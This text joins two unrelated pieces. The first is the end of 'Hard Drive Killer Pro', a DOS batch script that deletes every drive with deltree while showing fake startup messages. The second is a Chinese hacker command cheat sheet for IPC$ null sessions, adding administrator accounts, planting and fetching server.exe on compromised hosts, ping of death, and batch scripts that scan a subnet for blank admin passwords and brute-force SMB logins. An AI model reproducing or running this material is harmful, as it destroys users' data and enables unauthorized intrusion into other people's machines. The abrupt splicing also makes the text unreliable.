call attrib +r +h c:\temp.bat >nul
call attrib +r +h c:\autoexec.bat >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
for %%a in (%drive%) call deltree /y %%a:\*. >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
echo Starting Application . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
echo Thank you for using a Munga Bunga product.
echo.
echo Oh and, Bill Gates rules, and he is not a geek, he is a good
looking genius.
echo.
echo Here is a joke for you . . .
echo.
echo Q). Whats the worst thing about being an egg?
echo A). You only get laid once.
echo.
echo HAHAHAHA, get it? Dont you just love that one?
echo.
echo Regards,
echo.
echo Munga Bunga
:end
rem Hard Drive Killer Pro Version 4.0, enjoy!!!!
rem Author: Munga Bunga - from Australia, the land full of
retarded Australians (help me get out of here).
net use \ip\ipc$ " " /user:" " 建立IPC空链接
net use \ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接
net use h: \ip\c$ "密码" /user:"用户名"
直接登陆后映射对方C:到本地为H:
net use h: \ip\c$ 登陆后映射对方C:到本地为H:
net use \ip\ipc$ /del 删除IPC链接
net use h: /del 删除映射对方到本地的为H:的映射
net user 用户名 密码 /add 建立用户
net user guest /active:yes 激活guest用户
net user 查看有哪些用户
net user 帐户名 查看帐户的属性
net localgroup administrators 用户名 /add
把"用户"添加到管理员中使其具有管理员权限,注意:administrator后加s用复数
net start 查看开启了哪些服务
net start 服务名 开启服务;(如:net start telnet, net
start schedule)
net stop 服务名 停止某服务
net time \目标ip 查看对方时间
net time \目标ip /set
设置本地计算机时间与"目标IP"主机的时间同步,加上参数/yes可取消确认信息
net view 查看本地局域网内开启了哪些共享
net view \ip 查看对方局域网内开启了哪些共享
net config 显示系统网络设置
net logoff 断开连接的共享
net pause 服务名 暂停某服务
net send ip "文本信息" 向对方发信息
net ver 局域网内正在使用的网络连接类型和信息
net share 查看本地开启的共享
net share ipc$ 开启ipc$共享
net share ipc$ /del 删除ipc$共享
net share c$ /del 删除C:共享
net user guest 12345 用guest用户登陆后用将密码改为12345
net password 密码 更改系统登陆密码
netstat -a 查看开启了哪些端口,常用netstat -an
netstat -n 查看端口的网络连接情况,常用netstat -an
netstat -v 查看正在进行的工作
netstat -p 协议名 例:netstat -p tcq/ip
查看某协议使用情况(查看tcp/ip协议使用情况)
netstat -s 查看正在使用的所有协议使用情况
nbtstat -A ip
对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
tracert -参数 ip(或计算机名)
跟踪路由(数据包),参数:"-w数字"用于设置超时间隔。
ping ip(或域名)
向对方主机发送默认大小为32字节的数据,参数:"-l[空格]数据包大小";"-n发送数据次数";"-t"指一直ping。
ping -t -l 65550 ip
死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 95
98)查看本地ip地址,ipconfig可用参数"/all"显示全部配置信息
tlist -t
以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
kill -F 进程名
加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
del -F 文件名
加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如"DEL/AR
*.*"表示删除当前目录下所有只读文件,"DEL/A-S
*.*"表示删除当前目录下除系统文件以外的所有文件
#2 二:
del /S /Q 目录 或用:rmdir /s /Q 目录
/S删除目录及目录下的所有子目录和文件。同时使用参数/Q
可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
move
盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名
移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
fc one.txt two.txt > 3st.txt
对比二个文件并把不同之处输出到3st.txt文件中,">
"和"> >" 是重定向命令
at id号 开启已注册的某个计划任务
at /delete
停止所有计划任务,用参数/yes则不需要确认就直接停止
at id号 /delete 停止某个已注册的计划任务
at 查看所有的计划任务
at \ip time 程序名(或一个命令) /r
在某时间运行对方某程序并重新启动计算机
finger username @host 查看最近有哪些用户登陆
telnet ip 端口 远和登陆服务器,默认端口为23
open ip 连接到IP(属telnet登陆后的命令)
telnet 在本机上直接键入telnet 将进入本机的telnet
copy 路径\文件名1 路径\文件名2 /y
复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
copy c:\srv.exe \ip\admin$ 复制本地c:\srv.exe到对方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg
将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
copy \ip\admin$\svv.exe c:\ 或:copy\ip\admin$\*.*
复制对方admini$共享下的srv.exe文件(所有文件)至本地C:
xcopy 要复制的文件或目录树 目标地址\目录名
复制文件和目录树,用参数/Y将不提示覆盖相同文件
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe
c:\server.exe
登陆后,将"IP"的server.exe下载到目标主机c:\server.exe
参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i
则以ASCII模式(传送文本文件模式)进行传送
tftp -i 对方IP put c:\server.exe
登陆后,上传本地c:\server.exe至主机
ftp ip 端口
用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)
route print 显示出IP路由,将主要显示网络地址Network
addres,子网掩码Netmask,网关地址Gateway
addres,接口地址Interface
arp
查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp
-a将显示出全部信息
start 程序名或命令 /max 或/min
新开一个新窗口并最大化(最小化)运行某程序或命令
mem 查看cpu使用情况
attrib 文件名(目录名) 查看某文件(目录)的属性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的
存档,只读,系统,隐藏
属性;用+则是添加为某属性
dir
查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
date /t 、 time /t
使用此参数即"DATE/T"、"TIME/T"将只显示当前日期和时间,而不必输入新日期和时间
set 指定环境变量名称=要指派给变量的字符
设置环境变量
set 显示当前所有的环境变量
set p(或其它字符)
显示出当前以字符p(或其它字符)开头的所有环境变量
pause 暂停批处理程序,并显示出:请按任意键继续....
if
在批处理程序中执行条件处理(更多说明见if命令及变量)
goto 标签
将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:":start"标签)
call 路径\批处理文件名
从批处理程序中调用另一个批处理程序
(更多说明见call /?)
for
对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)
echo on或off
打开或关闭echo,仅用echo不加参数则显示当前echo设置
echo 信息 在屏幕上显示出信息
echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello
find 文件名 查找某文件
title 标题名字 更改CMD窗口标题名字
color 颜色值
设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
prompt 名称
更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\
)
#3 三:
ver 在DOS窗口下显示版本信息
winver
弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)
format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS
,例:Format D: /FS:NTFS
md 目录名 创建目录
replace 源文件 要替换文件的目录 替换文件
ren 原文件名 新文件名 重命名文件名
tree 以树形结构显示出目录,用参数-f
将列出第个文件夹中文件名称
type 文件名 显示文本文件的内容
more 文件名 逐屏显示输出文件
doskey 要锁定的命令=字符
doskey 要解锁命令=
为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey
dir=entsky (不能用doskey dir=dir);解锁:doskey dir=
taskmgr 调出任务管理器
chkdsk /F D:
检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误
tlntadmn
telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口
exit
退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe
path 路径\可执行文件的文件名
为可执行文件设置一个路径。
cmd 启动一个win2K命令解释窗口。参数:/eff、/en
关闭、开启命令扩展;更我详细说明见cmd /?
regedit /s 注册表文件名
导入注册表;参数/S指安静模式导入,无任何提示;
regedit /e 注册表文件名 导出注册表
cacls 文件名 参数
显示或修改文件访问控制列表(ACL)--针对NTFS格式时。参数:/D
用户名:设定拒绝某用户访问;/P 用户名:perm
替换指定用户的访问权限;/G 用户名:perm
赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W
写入, C 更改(写入),F 完全控制;例:cacls D:\test.txt
/D pub 设定d:\test.txt拒绝pub用户访问。
cacls 文件名 查看文件的访问用户权限列表
REM 文本内容 在批处理文件中添加注解
netsh 查看或更改本地网络配置情况
#4 四:
IIS服务命令:
iisreset /reboot
重启win2k计算机(但有提示系统将重启信息出现)
iisreset /start或stop 启动(停止)所有Internet服务
iisreset /restart 停止然后重新启动所有Internet服务
iisreset /status 显示所有Internet服务状态
iisreset /enable或disable
在本地系统上启用(禁用)Internet服务的重新启动
iisreset /rebootonerror
当启动、停止或重新启动Internet服务时,若发生错误将重新开机
iisreset /noforce
若无法停止Internet服务,将不会强制终止Internet服务
iisreset /timeout
Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。
FTP 命令: (后面有详细说明内容)
ftp的命令行格式为:
ftp -v -d -i -n -g[主机名] -v
显示远程服务器的所有响应信息。
-d 使用调试方式。
-n 限制ftp的自动登录,即不使用.netrc文件。
-g 取消全局文件名。
help [命令] 或 ?[命令] 查看命令说明
bye 或 quit 终止主机FTP进程,并退出FTP管理方式.
pwd 列出当前远端主机目录
put 或 send 本地文件名 [上传到主机上的文件名]
将本地一个文件传送至远端主机中
get 或 recv [远程主机文件名] [下载到本地后的文件名]
从远端主机中传送至本地主机中
mget [remote-files] 从远端主机接收一批文件至本地主机
mput local-files 将本地主机中一批文件传送至远端主机
dir 或 ls [remote-directory] [local-file]
列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
ascii 设定以ASCII方式传送文件(缺省值)
bin 或 image 设定以二进制方式传送文件
bell 每完成一次文件传送,报警提示
cdup 返回上一级目录
close 中断与远程服务器的ftp会话(与open对应)
open host[port] 建立指定ftp服务器连接,可指定连接端口
delete 删除远端主机中的文件
mdelete [remote-files] 删除一批文件
mkdir directory-name 在远端主机中建立目录
rename [from] [to] 改变远端主机中的文件名
rmdir directory-name 删除远端主机中的目录
status 显示当前FTP的状态
system 显示远端主机系统类型
user user-name [password] [account]
重新以别的用户名登录远端主机
open host [port] 重新建立一个新的连接
prompt 交互提示模式
macdef 定义宏命令
lcd
改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
chmod 改变远端主机的文件权限
case
当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
cd remote-dir 进入远程主机目录
cdup 进入远程主机目录的父目录
! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip
#5 五:
MYSQL 命令:
mysql -h主机地址 -u用户名 -p密码
连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。
(例:mysql -h110.110.110.110 -Uroot -P123456
注:u与root可以不用加空格,其它也一样)
exit 退出MYSQL
mysqladmin -u用户名 -p旧密码 password 新密码 修改密码
grant select on 数据库.* to 用户名@登录主机 identified by
\"密码\";
增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)
show databases;
显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。
use mysql;
show tables; 显示库中的数据表
describe 表名; 显示数据表的结构
create database 库名; 建库
use 库名;
create table 表名 (字段设定列表); 建表
drop database 库名;
drop table 表名; 删库和删表
delete from 表名; 将表中记录清空
select * from 表名; 显示表中的记录
mysqldump --opt school>school.bbb
备份数据库:(命令在DOS的\mysql\bin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。
win2003系统下新增命令(实用部份):
shutdown /参数 关闭或重启本地或远程主机。
参数说明:/S 关闭主机,/R 重启主机, /T 数字
设定延时的时间,范围0~180秒之间, /A取消开机,/M
//IP 指定的远程主机。
例:shutdown /r /t 0 立即重启本地主机(无延时)
taskill /参数 进程名或进程的pid
终止一个或多个任务和进程。
参数说明:/PID
要终止进程的pid,可用tasklist命令获得各进程的pid,/IM
要终止的进程的进程名,/F 强制终止进程,/T
终止指定的进程及他所启动的子进程。
tasklist
显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。
参数说明:/M 列出当前进程加载的dll文件,/SVC
显示出每个进程对应的服务,无参数时就只列出当前的进程。
#6 六:
Linux系统下基本命令: 要区分大小写
uname 显示版本信息(同win2K的 ver)
dir 显示当前目录文件,ls -al
显示包括隐藏文件(同win2K的 dir)
pwd 查询当前所在的目录位置
cd cd ..回到上一层目录,注意cd
与..之间有空格。cd /返回到根目录。
cat 文件名 查看文件内容
cat >abc.txt 往abc.txt文件中写上内容。
more 文件名 以一页一页的方式显示一个文本文件。
cp 复制文件
mv 移动文件
rm 文件名 删除文件,rm -a 目录名删除目录及子目录
mkdir 目录名 建立目录
rmdir 删除子目录,目录内没有文档。
chmod 设定档案或目录的存取权限
grep 在档案中查找字符串
diff 档案文件比较
find 档案搜寻
date 现在的日期、时间
who
查询目前和你使用同一台机器的人以及Login时间地点
w 查询目前上机者的详细资料
whoami 查看自己的帐号名称
groups 查看某人的Group
passwd 更改密码
history 查看自己下过的命令
ps 显示进程状态
kill 停止某进程
gcc 黑客通常用它来编译C语言写的文件
su 权限转换为指定使用者
telnet IP
telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。
ftp ftp连接上某服务器(同win2K)
附:批处理命令与变量
1:for命令及变量 基本格式:
FOR /参数 %variable IN (set) DO command [command_parameters]
%variable:指定一个单一字母可替换的参数,如:%i
,而指定一个变量则用:%%i ,而调用变量时用:%i%
,变量是区分大小写的(%i 不等于 %I)。
批处理每次能处理的变量从%0-%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2-%9指输入的第2-9个值;例:net
use \ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3
(set):指定一个或一组文件,可使用通配符,如:(D:\user.txt)和(1
1 254)(1 -1 254),{ "(1 1
254)"第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;"(1
-1 254)"说明:即从254到1 }
command:指定对第个文件执行的命令,如:net
use命令;如要执行多个命令时,命令这间加:& 来隔开
command_parameters:为特定命令指定参数或命令行开关
IN (set):指在(set)中取值;DO command :指执行command
参数:/L 指用增量形式{ (set)为增量形式时 };/F
指从文件中不断取值,直到取完为止{
(set)为文件时,如(d:\pass.txt)时 }。
用法举例:
@echo off
echo 用法格式:test.bat *.*.* > test.txt
for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \%1.%%G
/user:administrator | find "命令成功完成" >>test.txt
存为test.bat
说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。
/L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的
%1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use
这二个命令;|
指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G
为完整的IP地址;(1 1 254)
指起始值,增长量,结止值。
@echo off
echo 用法格式:ok.bat ip
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
存为:ok.exe
说明:输入一个IP后,用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。